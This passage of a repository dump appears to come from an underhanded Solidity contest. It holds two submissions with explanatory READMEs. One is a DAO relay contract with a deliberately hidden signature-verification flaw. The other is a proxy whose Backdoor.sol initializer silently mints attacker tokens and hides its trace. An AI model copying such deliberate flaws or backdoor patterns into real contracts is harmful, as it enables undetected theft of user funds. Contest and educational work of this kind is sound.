FriendlyApp(address(proxy)).hello();\n        _assertEqual(expectedOutput1, actualOutput1, \"testCall() failed\");\n\n        // Ensure can call 2nd registered app\n        string memory expectedOutput2 = (new FriendlyApp2()).lorem();\n        actualOutput2 = FriendlyApp2(address(proxy)).lorem();\n        _assertEqual(expectedOutput2, actualOutput2, \"testCall() failed\");\n    }\n    \n    function _assertEqual(string memory a, string memory b, string memory message) internal pure {\n        require(keccak256(bytes(a)) == keccak256(bytes(b)), message);\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission14_MariusVanDerWijden/ECDSA.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity >= 0.7.0;\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n    /**\n     * @dev Returns the address that signed a hashed message (`hash`) with\n     * `signature`. This address can then be used for verification purposes.\n     *\n     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n     * this function rejects them by requiring the `s` value to be in the lower\n     * half order, and the `v` value to be either 27 or 28.\n     *\n     * NOTE: This call _does not revert_ if the signature is invalid, or\n     * if the signer is otherwise unable to be retrieved. In those scenarios,\n     * the zero address is returned.\n     *\n     * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n     * verification to be secure: it is possible to craft signatures that\n     * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n     * this is by receiving a hash of the original message (which may otherwise\n     * be too long), and then calling {toEthSignedMessageHash} on it.\n     */\n    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n        // Check the signature length\n        if (signature.length != 65) {\n            return (address(0));\n        }\n\n        // Divide the signature in r, s and v variables\n        bytes32 r;\n        bytes32 s;\n        uint8 v;\n\n        // ecrecover takes the signature parameters, and the only way to get them\n        // currently is to use assembly.\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            r := mload(add(signature, 0x20))\n            s := mload(add(signature, 0x40))\n            v := byte(0, mload(add(signature, 0x60)))\n        }\n\n        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most\n        // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n        //\n        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n        // these malleable signatures as well.\n        if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n            return address(0);\n        }\n\n        if (v != 27 && v != 28) {\n            return address(0);\n        }\n\n        // If the signature is valid (and not malleable), return the signer address\n        return ecrecover(hash, v, r, s);\n    }\n\n    /**\n     * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n     * replicates the behavior of the\n     * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]\n     * JSON-RPC method.\n     *\n     * See {recover}.\n     */\n    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n        // 32 is the length in bytes of hash,\n        // enforced by the type signature above\n        return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission14_MariusVanDerWijden/Proxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity >= 0.7.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n * \n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n * \n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n    /**\n     * @dev Delegates the current call to `implementation`.\n     * \n     * This function does not return to its internall call site, it will return directly to the external caller.\n     */\n    function _delegate(address implementation) internal {\n        // solhint-disable-next-line no-inline-assembly\n        assembly {\n            // Copy msg.data. We take full control of memory in this inline assembly\n            // block because it will not return to Solidity code. We overwrite the\n            // Solidity scratch pad at memory position 0.\n            calldatacopy(0, 0, calldatasize())\n\n            // Call the implementation.\n            // out and outsize are 0 because we don't know the size yet.\n            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n            // Copy the returned data.\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            // delegatecall returns 0 on error.\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n\n    /**\n     * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function\n     * and {_fallback} should delegate.\n     */\n    function _implementation() internal virtual view returns (address);\n\n    /**\n     * @dev Delegates the current call to the address returned by `_implementation()`.\n     * \n     * This function does not return to its internall call site, it will return directly to the external caller.\n     */\n    function _fallback() internal {\n        _beforeFallback();\n        _delegate(_implementation());\n    }\n\n    /**\n     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n     * function in the contract matches the call data.\n     */\n    fallback () payable external {\n        _fallback();\n    }\n\n    /**\n     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n     * is empty.\n     */\n    receive () payable external {\n        _fallback();\n    }\n\n    /**\n     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n     * call, or as part of the Solidity `fallback` or `receive` functions.\n     * \n     * If overriden should call `super._beforeFallback()`.\n     */\n    function _beforeFallback() internal virtual {\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission14_MariusVanDerWijden/README.md",
    "content": "## WARNING This contract was built for the underhand solidity contest. It contains a security flaw, please don't use it!\n### Intro\nThis contract is the heart of a new DAO that decides over the fate of a protocol. \nIt only uses the standard openzeppelin libraries for forwarding the calls and checking signatures.\n* The relayer contract gets deployed and specifes the contract address of the initial contract.\n* All calls to the RelayContract are forwarded to the contract saved under currentContract.\n* Users can enter the DAO by sending 1 ETH to the DAO.\n* Users can exit the DAO and regain their 1 ETH.\n* Users that have some stake in the DAO can propose a vote.\n* The users have now 14 days to send their vote to the DAO.\n* After 14 days anyone can call closeVote to count the votes and decide whether the proposal was successful.\nThe contract has no owner so it can not be censored by an authority, but can we influence the election?\nRelayContract.sol has a critical security flaw, can you figure it out?\n\n### Spoiler\nThe flaw is in the way the old openzeppelin ECDSA verification works. \nBefore March 11. 2020 the standard ECDSA verifier implementation of OpenZeppelin returned address(0) if the verification fails.\nWe use this fact to create default accept votes.\nAll an attacker needs to do is create accounts.\nEntering the DAO creates a new account.\nExiting the DAO only deletes the account but does not resize the array of users.\nNow there is an empty user added that has user.signature = 0 and user.address = 0. \nNow the attacker needs to propose a vote with an address to a malicious contract.\nThe empty accounts should not pass the verification check.\nHowever since ECDSA.verify(sig) returns address(0) on failure, the vote is counted as accepting (because user.address = 0).\nThis bug is a mixture of two flaws in the smart contract that can be easily explained, so the creators can always claim plausible deniability.\n\n### Countermeasures \nUpdating the ECDSA library to the newest one would fix this flaw. However it would also mean that an attacker could make the vote always fail by sending an invalid signature. The bug can be fixed by resizing the users array if a users leaves the DAO. The easiest fix for this bug is the following:\n\n```git\ndiff --git a/uSolContest/RelayContract.sol b/uSolContest/RelayContract.sol\nindex 2a5fa3b..0eb5c38 100644\n--- a/uSolContest/RelayContract.sol\n+++ b/uSolContest/RelayContract.sol\n@@ -115,7 +115,7 @@ contract RelayContract is Proxy {\n     function verifySig(bytes memory message, address signer, bytes memory signature) private pure returns (bool) {\n         bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(message));\n         address recoveredAddr = ECDSA.recover(prefixedHash, signature);\n-        return recoveredAddr == signer;\n+        return recoveredAddr != 0 && recoveredAddr == signer;\n     }\n     \n }\n ```\n\n"
  },
  {
    "path": "2020/submissions_2020/submission14_MariusVanDerWijden/RelayContract.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity >= 0.7.0;\n\nimport \"./ECDSA.sol\";\nimport \"./Proxy.sol\";\n\ncontract RelayContract is Proxy {\n    \n    // WARNING: this contract was created for the underhanded solidity contest and contains a critical security flaw.\n    \n    struct user {\n        address user;\n        // DAO fields\n        bool reject;\n        bytes signature;\n    }\n    // Users \n    user[] public users;\n    address currentContract;\n    // Fields for vote\n    uint256 timeout;\n    address proposedContract;\n    \n    constructor(address ctr) {\n        currentContract = ctr;\n    }\n    \n    modifier afterTimeout() {\n        require(block.timestamp >= timeout, \"Can only be executed after timeout\");\n        _;\n    }\n    \n    // only a staker is allowed to do some actions.\n    modifier onlyStaker(uint slot) {\n        require(users[slot].user == msg.sender, \"sender is not slot owner\");\n        _;\n    }\n    \n    // Forward all calls to the currentContract.\n    function _implementation() override internal virtual view returns (address) {\n        return currentContract;\n    }\n    \n    // propose a vote to change the contract to this new address.\n    function proposeVote(address newContract, uint slot) public onlyStaker(slot) {\n        require(timeout == 0, \"Another vote already happening\");\n        // Each vote should take 14 days. \n        timeout = block.timestamp + 14 days;\n        proposedContract = newContract;\n    }\n    \n    // SendVote needs a signature on the hash of the proposedContract.\n    function sendVote(bytes memory signature, uint slot, bool reject) public onlyStaker(slot) {\n        users[slot].signature = signature;\n        users[slot].reject = reject;\n    }\n    \n    // closeVote closes the vote.\n    // It counts how many users have voted for and against a proposal.\n    // If more people voted for than against an update, the address is updated.\n    function closeVote() public afterTimeout {\n        uint256 accepts;\n        uint256 rejects;\n        bytes memory propContract = abi.encodePacked(proposedContract);\n        for(uint256 i = 0; i < users.length; i++) {\n            user memory s = users[i];\n            // Only users that explicitly voted get included into the calculation.\n            if (verifySig(propContract, s.user, s.signature)) {\n                if (s.reject) {\n                    rejects++;\n                } else {\n                    accepts++;\n                }\n            }\n        }\n        if (accepts > rejects) {\n            update();\n        }\n        // Vote is closed, can reset now.\n        reset();\n    }\n    \n    // reset resets all votes\n    function reset() private {\n        // invalidate all votes for the next round.\n        for(uint256 i = 0; i < users.length; i++){\n            delete users[i].signature;\n        }\n        proposedContract = currentContract;\n        timeout = 0;\n    }\n    \n    function update() private {\n        currentContract = proposedContract;\n    }\n    \n    // Lets users enter into the DAO.\n    // or update their stake if newAccount == false\n    // Shares of this dao are one eth each.\n    function enter() public payable returns (uint) {\n        require(msg.value == 1 ether);\n        user memory s;\n        s.user = msg.sender;\n        users.push(s);\n        return users.length - 1;\n    }\n    \n    // Lets users exit the DAO.\n    function exit(uint slot) public onlyStaker(slot) {\n        // Deletes a user from the user array.\n        delete users[slot]; \n        msg.sender.transfer(1 ether);\n    }\n    \n    // verifySig verifies a signature on a message.\n    function verifySig(bytes memory message, address signer, bytes memory signature) private pure returns (bool) {\n        bytes32 prefixedHash = ECDSA.toEthSignedMessageHash(keccak256(message));\n        address recoveredAddr = ECDSA.recover(prefixedHash, signature);\n        return recoveredAddr == signer;\n    }\n    \n}\n        "
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/.gitignore",
    "content": "node_modules\n\n#Hardhat files\ncache\nartifacts\n"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/README.md",
    "content": "# VampireSwap\n\n![DefiVlad](images/DefiVlad.png)\nVlad is the pseudonymous founder of the hyped new DeFi project, VampireSwap.\n\n### The Set Up\n\nVlad has just announced that top auditing firm Open Trail of Diligence has completed their audit and the upgradable token contract has been deployed and verified on Etherscan.\n\nProxy - The upgradable proxy\nhttps://goerli.etherscan.io/address/0x57FC492706eA4229866D2d5E2e5538f7a50bD154#code\n\nToken - The implementation\nhttps://goerli.etherscan.io/address/0x294fE50c6e86C799157E18418748B4782eccFbC1#code\n\nLater, [Not shown] Vlad deploys the rest of the VampireSwap contracts that are also upgradeable and are controlled by the same governance contract as the token.\n\n### The Attack 🦇\n\nTotal value locked in VampireSwap skyrockets as it sucks the liquidity from its competitors. But the next morning everything is gone...\n\nVlad has accessed an enormous token balance which wasn't accounted for in any of the events or the token's `totalBalance`. The large token balance\nallowed Vlad to take control of the governance contract, upgrade every VampireSwap contract and take not only all of the funds in the contracts but also drain 🧛 the accounts of users that approved unlimited tokens to the VampireSwap contracts.\n\n_Hint: Vlad's secret address is `0x4ea63D4a3727b38Cd3a9F5B64b9CC1C6822bf6A9`. Check it's balance by calling `balanceOf` on the upgradable proxy._\n\nCan you figure out how he did it?\n\n_Note: The Governance contract is not implemented. Both the Governance contract and the Token contract can be assumed to be fully functional and secure._\n\n## Spoilers\n\nVlad was able to silently add tokens to his account during the call to `initializeProxy` on the `Proxy`. He did this by initializing the proxy with a malicious implementation (`contracts/spoilers/Backdoor.sol`). When the proxy calls `Initializable(address(this)).initialize(_admin)`, the backdoor silently mints the extra tokens and then sets the implementation slot to the `Token` contract to avoid detection.\n\nThe `ImplementationChanged` event is then emitted showing a change from `address(0)` to the `Token` contract leaving no trace that `Backdoor` was ever set as an implementation at all.\n\n### Why this attack is dangerous\n\nUnless you manually verified the inputs of the `initializeProxy` call, this attack is virtually undetectable. Because storage is altered directly in the `Backdoor`'s, initializer, no events are emitted that would give it away. Additionally, it's unlikely the abnormally large balance would be detected because it must be looked up by Vlad's address which is secret until the attack starts."
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/ERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\nimport \"@openzeppelin/contracts/utils/Address.sol\";\n\n// This contract can be assumed to be safe\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin guidelines: functions revert instead\n * of returning `false` on failure. This behavior is nonetheless conventional\n * and does not conflict with the expectations of ERC20 applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is IERC20 {\n    using SafeMath for uint256;\n    using Address for address;\n\n    mapping (address => uint256) private _balances;\n\n    mapping (address => mapping (address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n    uint8 private _decimals;\n\n    /**\n     * @dev Sets the values for {name} and {symbol}, initializes {decimals} with\n     * a default value of 18.\n     *\n     * To select a different value for {decimals}, use {_setupDecimals}.\n     *\n     * All three of these values are immutable: they can only be set once during\n     * construction.\n     */\n    function initialize(string memory name, string memory symbol) public {\n        require(_decimals == 0, \"Already initialized\");\n        _name = name;\n        _symbol = symbol;\n        _decimals = 18;\n    }\n\n    /**\n     * @dev Returns the name of the token.\n     */\n    function name() public view returns (string memory) {\n        return _name;\n    }\n\n    /**\n     * @dev Returns the symbol of the token, usually a shorter version of the\n     * name.\n     */\n    function symbol() public view returns (string memory) {\n        return _symbol;\n    }\n\n    /**\n     * @dev Returns the number of decimals used to get its user representation.\n     * For example, if `decimals` equals `2`, a balance of `505` tokens should\n     * be displayed to a user as `5,05` (`505 / 10 ** 2`).\n     *\n     * Tokens usually opt for a value of 18, imitating the relationship between\n     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is\n     * called.\n     *\n     * NOTE: This information is only used for _display_ purposes: it in\n     * no way affects any of the arithmetic of the contract, including\n     * {IERC20-balanceOf} and {IERC20-transfer}.\n     */\n    function decimals() public view returns (uint8) {\n        return _decimals;\n    }\n\n    /**\n     * @dev See {IERC20-totalSupply}.\n     */\n    function totalSupply() public view override returns (uint256) {\n        return _totalSupply;\n    }\n\n    /**\n     * @dev See {IERC20-balanceOf}.\n     */\n    function balanceOf(address account) public view override returns (uint256) {\n        return _balances[account];\n    }\n\n    /**\n     * @dev See {IERC20-transfer}.\n     *\n     * Requirements:\n     *\n     * - `recipient` cannot be the zero address.\n     * - the caller must have a balance of at least `amount`.\n     */\n    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n        _transfer(msg.sender, recipient, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-allowance}.\n     */\n    function allowance(address owner, address spender) public view virtual override returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    /**\n     * @dev See {IERC20-approve}.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function approve(address spender, uint256 amount) public virtual override returns (bool) {\n        _approve(msg.sender, spender, amount);\n        return true;\n    }\n\n    /**\n     * @dev See {IERC20-transferFrom}.\n     *\n     * Emits an {Approval} event indicating the updated allowance. This is not\n     * required by the EIP. See the note at the beginning of {ERC20};\n     *\n     * Requirements:\n     * - `sender` and `recipient` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     * - the caller must have allowance for ``sender``'s tokens of at least\n     * `amount`.\n     */\n    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\n        _transfer(sender, recipient, amount);\n        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n        return true;\n    }\n\n    /**\n     * @dev Atomically increases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     */\n    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));\n        return true;\n    }\n\n    /**\n     * @dev Atomically decreases the allowance granted to `spender` by the caller.\n     *\n     * This is an alternative to {approve} that can be used as a mitigation for\n     * problems described in {IERC20-approve}.\n     *\n     * Emits an {Approval} event indicating the updated allowance.\n     *\n     * Requirements:\n     *\n     * - `spender` cannot be the zero address.\n     * - `spender` must have allowance for the caller of at least\n     * `subtractedValue`.\n     */\n    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n        return true;\n    }\n\n    /**\n     * @dev Moves tokens `amount` from `sender` to `recipient`.\n     *\n     * This is internal function is equivalent to {transfer}, and can be used to\n     * e.g. implement automatic token fees, slashing mechanisms, etc.\n     *\n     * Emits a {Transfer} event.\n     *\n     * Requirements:\n     *\n     * - `sender` cannot be the zero address.\n     * - `recipient` cannot be the zero address.\n     * - `sender` must have a balance of at least `amount`.\n     */\n    function _transfer(address sender, address recipient, uint256 amount) internal virtual {\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n        _beforeTokenTransfer(sender, recipient, amount);\n\n        _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n        _balances[recipient] = _balances[recipient].add(amount);\n        emit Transfer(sender, recipient, amount);\n    }\n\n    /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n     * the total supply.\n     *\n     * Emits a {Transfer} event with `from` set to the zero address.\n     *\n     * Requirements\n     *\n     * - `to` cannot be the zero address.\n     */\n    function _mint(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _beforeTokenTransfer(address(0), account, amount);\n\n        _totalSupply = _totalSupply.add(amount);\n        _balances[account] = _balances[account].add(amount);\n        emit Transfer(address(0), account, amount);\n    }\n\n    /**\n     * @dev Destroys `amount` tokens from `account`, reducing the\n     * total supply.\n     *\n     * Emits a {Transfer} event with `to` set to the zero address.\n     *\n     * Requirements\n     *\n     * - `account` cannot be the zero address.\n     * - `account` must have at least `amount` tokens.\n     */\n    function _burn(address account, uint256 amount) internal virtual {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _beforeTokenTransfer(account, address(0), amount);\n\n        _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n        _totalSupply = _totalSupply.sub(amount);\n        emit Transfer(account, address(0), amount);\n    }\n\n    /**\n     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n     *\n     * This internal function is equivalent to `approve`, and can be used to\n     * e.g. set automatic allowances for certain subsystems, etc.\n     *\n     * Emits an {Approval} event.\n     *\n     * Requirements:\n     *\n     * - `owner` cannot be the zero address.\n     * - `spender` cannot be the zero address.\n     */\n    function _approve(address owner, address spender, uint256 amount) internal virtual {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    /**\n     * @dev Sets {decimals} to a value other than the default one of 18.\n     *\n     * WARNING: This function should only be called from the constructor. Most\n     * applications that interact with token contracts will not expect\n     * {decimals} to ever change, and may work incorrectly if it does.\n     */\n    function _setupDecimals(uint8 decimals_) internal {\n        _decimals = decimals_;\n    }\n\n    /**\n     * @dev Hook that is called before any transfer of tokens. This includes\n     * minting and burning.\n     *\n     * Calling conditions:\n     *\n     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n     * will be to transferred to `to`.\n     * - when `from` is zero, `amount` tokens will be minted for `to`.\n     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n     * - `from` and `to` are never both zero.\n     *\n     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n     */\n    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Governance.sol",
    "content": "pragma solidity 0.7.3;\n\ncontract Governance {\n    // Governance functionality omitted\n    // This contract can be assumed to be fully functional and safe\n}"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Proxy.sol",
    "content": "pragma solidity 0.7.3;\n\ninterface Initializable {\n    function initialize(address _admin) external;\n}\n\ncontract Proxy {\n    event ImplementationChanged(address previousImplementation, address newImplementation);\n    event AdminChanged(address previousAdmin, address newAdmin);\n\n    /**\n     * @dev Storage slot with the address of the current implementation.\n     * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n\n    bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n    /**\n     * @dev Storage slot with the admin of the contract.\n     * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n\n    bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n    modifier onlyAdmin() {\n        require(msg.sender == admin(), \"Only admin can call this function\");\n        _;\n    }\n\n    constructor() public {\n        // Verify implementation and admin slots are in compliance with eip1967\n        assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));\n        assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));\n    }\n\n    function initializeProxy(address _implementation, address _admin) public {\n        require(implementation() == address(0), \"Already initialized\");\n\n        bytes32 implementationSlot = IMPLEMENTATION_SLOT;\n        bytes32 adminSlot = ADMIN_SLOT;\n\n        assembly {\n            sstore(implementationSlot, _implementation)\n            sstore(adminSlot, _admin)\n        }\n\n        Initializable(address(this)).initialize(_admin);\n\n        emit ImplementationChanged(address(0), implementation());\n        emit AdminChanged(address(0), admin());\n    }\n\n    /**\n     * Getters\n     */\n\n    function implementation() public view returns (address _implementation) {\n        bytes32 slot = IMPLEMENTATION_SLOT;\n        assembly {\n            _implementation := sload(slot)\n        }\n    }\n\n    function admin() public view returns (address _admin) {\n        bytes32 slot = ADMIN_SLOT;\n        assembly {\n            _admin := sload(slot)\n        }\n    }\n\n    function changeAdmin(address newAdmin) external onlyAdmin {\n        bytes32 adminSlot = ADMIN_SLOT;\n        address previousAdmin = admin();\n        assembly {\n            sstore(adminSlot, newAdmin)\n        }\n        emit AdminChanged(previousAdmin, newAdmin);\n    }\n\n    function upgrade(address newImplementation) external onlyAdmin {\n        bytes32 implementationSlot = IMPLEMENTATION_SLOT;\n        address previousImplementation = implementation();\n        assembly {\n            sstore(implementationSlot, newImplementation)\n        }\n        emit ImplementationChanged(previousImplementation, newImplementation);\n    }\n\n    /**\n     *  Forward to implementation\n     */\n\n    fallback() external payable {\n        if (msg.data.length == 0) return;\n\n        bytes32 _impl = IMPLEMENTATION_SLOT;\n        assembly {\n            // Load the implementation address from the IMPLEMENTATION_SLOT\n            let impl := sload(_impl)\n\n            // Copy msg.data. We take full control of memory in this inline assembly\n            // block because it will not return to Solidity code. We overwrite the\n            // Solidity scratch pad at memory position 0.\n            calldatacopy(0, 0, calldatasize())\n\n            // Call the implementation.\n            // out and outsize are 0 because we don't know the size yet.\n            let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0)\n\n            // Copy the returned data.\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            // delegatecall returns 0 on error.\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/Token.sol",
    "content": "pragma solidity 0.7.3;\n\nimport \"./ERC20.sol\";\n\ncontract Token is ERC20 {\n    function initialize(address _admin) external {\n        // This function can only be called once or ERC20.initialize will revert\n        ERC20.initialize(\"VampireSwap Governance Token\", \"VPR\");\n\n        // Mint initial balance for governance contract\n        _mint(_admin, 1000000000 ether);\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/contracts/spoilers/Backdoor.sol",
    "content": "contract Backdoor {\n    // Copy of ERC20 state\n    mapping (address => uint256) private _balances;\n\n    mapping (address => mapping (address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n    uint8 private _decimals;\n\n    bytes32 public constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n    address public constant governance = 0x4ea63D4a3727b38Cd3a9F5B64b9CC1C6822bf6A9;\n    address public constant realImplementation = 0x5FbDB2315678afecb367f032d93F642f64180aa3;\n    address public constant myAddress = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;\n\n    // ERC20 Transfer event to mimic `mint`\n    event Transfer(address indexed from, address indexed to, uint256 value);\n\n    function initialize(address _admin) external {\n        // initialize the token so no one suspects anything\n        _name = \"VampireSwap Governance Token\";\n        _symbol = \"VPR\";\n        _decimals = 18;\n\n        // Mint initial balance for governance contract\n        uint256 initialGovernanceBalance = 1000000000 ether;\n        _balances[_admin] = initialGovernanceBalance;\n        _totalSupply = initialGovernanceBalance;\n        emit Transfer(address(0), _admin, initialGovernanceBalance);\n\n        // Give myself a lof of tokens 😈🦇\n        // No event or total balance changes for this one\n        _balances[myAddress] = uint128(-1);\n\n        // Set the proxy to the real implementation now that the balance has been set\n        _upgrade(realImplementation);\n    }\n\n    function _upgrade(address newImplementation) private {\n        bytes32 implementationSlot = IMPLEMENTATION_SLOT;\n        assembly {\n            sstore(implementationSlot, newImplementation)\n        }\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/hardhat.config.ts",
    "content": "import { task } from \"hardhat/config\"\nimport \"@nomiclabs/hardhat-waffle\"\n\n// This is a sample Hardhat task. To learn how to create your own go to\n// https://hardhat.org/guides/create-task.html\ntask(\"accounts\", \"Prints the list of accounts\", async (args, hre) => {\n  const accounts = await hre.ethers.getSigners()\n\n  for (const account of accounts) {\n    console.log(await account.address)\n  }\n})\n\n// You need to export an object to set up your config\n// Go to https://hardhat.org/config/ to learn more\n\nexport default {\n  solidity: \"0.7.3\",\n}"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/package.json",
    "content": "{\n  \"name\": \"hardhat-project\",\n  \"scripts\": {\n    \"test\": \"hardhat test\"\n  },\n  \"devDependencies\": {\n    \"@nomiclabs/hardhat-ethers\": \"^2.0.0\",\n    \"@nomiclabs/hardhat-waffle\": \"^2.0.0\",\n    \"@types/chai\": \"^4.2.14\",\n    \"@types/mocha\": \"^8.0.3\",\n    \"@types/node\": \"^14.14.6\",\n    \"chai\": \"^4.2.0\",\n    \"ethereum-waffle\": \"^3.1.2\",\n    \"ethers\": \"^5.0.19\",\n    \"hardhat\": \"^2.0.2\",\n    \"ts-node\": \"^9.0.0\",\n    \"typescript\": \"^4.0.5\"\n  },\n  \"dependencies\": {\n    \"@openzeppelin/contracts\": \"^3.2.2-solc-0.7\"\n  }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission15_ChrisWhinfrey/test/spoiler/exploit.test.ts",
